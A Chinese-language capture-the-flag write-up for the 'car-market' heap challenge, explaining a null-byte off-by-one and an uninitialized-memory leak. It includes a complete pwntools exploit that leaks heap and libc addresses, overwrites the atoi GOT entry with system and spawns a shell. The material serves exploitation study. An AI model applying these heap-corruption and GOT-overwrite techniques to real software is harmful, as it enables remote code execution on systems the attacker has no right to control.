同样是一个菜单题,一个对car进行管理的程序,可以添加car,给每个car添加customer,等等。对于car的管理一开始分配了一个大数组,采用向量的分配方式,满了就把容量增加一倍。

数据结构

主要有2个数据结构,car和customer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct Car
{
char model[16];
int price;
int padding;
Customer *customer;
};

struct Customer
{
char first_name[32];
char name[32];
char *comment;
};

Car的大小为0x20,chunk大小为0x30;Customer大小为0x48,chunk大小为0x50。每次分配comment的大小都是0x48,chunk大小也是0x50,使用fgets读入。

漏洞

程序的漏洞是一个经典的在readline函数中的null-byte off-by-one,这种应该非常常见了,这样在读入name这个域时就可以把下面comment的低位字节覆盖成0。

另一个漏洞是一个未初始化造成的leak,由于每次添加customer时可以不输入name,这样就能够读出之前chunk里的内容。

利用

leak heap非常容易,添加一个customer,添加comment,然后再添加customer,这个时候之前的comment和customer会被free掉,customer由于后free所以在first_name的位置出现了一个heap的指针,这时候取回这个customer,就能够从first_name中读出heap地址了。

之后的利用就围绕这个null-byte展开,我使用的方法是让一个comment的结构跨越一个以0字节结尾的地址,然后在comment里伪造一个0x30的chunk。触发之后的customer结构中的null-byte off-by-one让其comment指向这个伪造的chunk,然后将其free掉。下一次添加car的时候,就能取回这个overlapped chunk,事先准备好这个chunk里customer指针的值指向heap头部的car_list大数组。然后添加customer,头部的大数组会被free掉然后分裂出一个0x50的customer,这时通过写入first_name即可将一个car的结构指向程序的GOT,接下来利用edit功能读写即可。

1
2
3
4
5
6
7
8
9
 [comment]      [car]    [customer]
0x50 0x30 0x50
+-----------+----------+-----------+
|p|s|p|s| |p|s| |p|s| |c|
+-----------+----------+-----------+
^ ^ |
| | |
0x31--- --------------------------
[0x....00]

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('car-market.asis-ctf.ir' , 31337)

atoi_got = 0x602078

def list_car():
p.recvuntil('>\n')
p.sendline('1')

def info_car():
p.recvuntil('>\n')
p.sendline('1')

def select_car(idx):
p.recvuntil('>\n')
p.sendline('4')
p.recvuntil('index\n')
p.sendline(str(idx))

def add_car(model, price):
p.recvuntil('>\n')
p.sendline('2')
p.recvuntil('model\n')
p.sendline(model)
p.recvuntil('price\n')
p.sendline(str(price))

def set_model(model):
p.recvuntil('>\n')
p.sendline('2')
p.recvuntil('model\n')
p.sendline(model)

def add_customer():
p.recvuntil('>\n')
p.sendline('4')

def set_first_name(name):
p.recvuntil('>\n')
p.sendline('2')
p.recvuntil('first name : \n')
p.sendline(name)

def set_name(name):
p.recvuntil('>\n')
p.sendline('1')
p.recvuntil('name : \n')
p.sendline(name)

def set_comment(comment):
p.recvuntil('>\n')
p.sendline('3')
p.recvuntil('coment : \n')
p.sendline(comment)

def back():
menu = p.recvuntil('>\n')
if '5: exit' in menu:
p.sendline('5')
elif '4: exit' in menu:
p.sendline('4')
else:
raise Exception('back error')

add_car('AAAA', 0x41414141)
select_car(0)
add_customer()
set_comment('BBBB')
back()
add_customer()
back()

info_car()
p.recvuntil('Firstname : ')
comment_leaked = u64(p.recvuntil('\n', drop=True)[:8].ljust(8, '\0'))
heap = comment_leaked - 0x890
print('[+] heap base @ %#x' % heap)

add_customer()
set_comment('BBBB')
back()
back()

# add 2 new car with customer for 0x100 chunk

add_car('CCCC', 0x43434343)
select_car(1)
add_customer()
back()
back()

# the no.2 car's comment contains an address ends with null byte
add_car('DDDD', 0x44444444)
select_car(2)
add_customer()

payload = p64(0) + p64(0x31) + 'Overlapped Car'.ljust(16, '\0') + p64(0) + p64(heap + 0x10) +'D' * 8 + p64(0x31)

set_comment(payload)
back()
back()

# the no.3 car we will do null byte off-by-one
add_car('EEEE', 0x45454545)
select_car(3)
add_customer()
set_comment('EEEEEEEE')
set_name('F' * 32)
p.recvuntil('>\n')
back()

# free the 0x30 size chunk, new car ptr will be placed here
add_customer()
back()
back()

# add no.4 car, this structure will be put in no.2's comment, with controlled customer pointer
add_car('GGGG', 0x47474747)
select_car(4)

# the car_list structure will be freed
add_customer()
set_first_name(p64(atoi_got-8))
back()
back()

# leak & modify atoi got
select_car(0)
info_car()
p.recvuntil('Model : ')
setvbuf = u64(p.recvuntil(' \n', drop=True)[:8].ljust(8, '\0'))
libc = setvbuf - 0x6fdb0
print('[+] libc base @ %#x' % libc)
system = libc + 0x45380
set_model(p64(0) + p64(system))

p.sendline('/bin/sh\0')
p.interactive()

小结

记得上次的asis也有一道类似的pwnable,同样是在输入中的一个null-byte off-by-one,能够改掉某个指针的最低位字节。最后也是围绕0地址的位置进行构造完成的利用,特别像这种对heap操作很多很容易造成崩溃的程序,需要在每一步以及下一步操作对heap造成的影响有很好的判断,同时需要能够通过malloc一定数量的chunk来到达0地址附近并构造合适的fake chunk,过程一般都非常繁琐。不过,这也正是heap的魅力所在呢 :)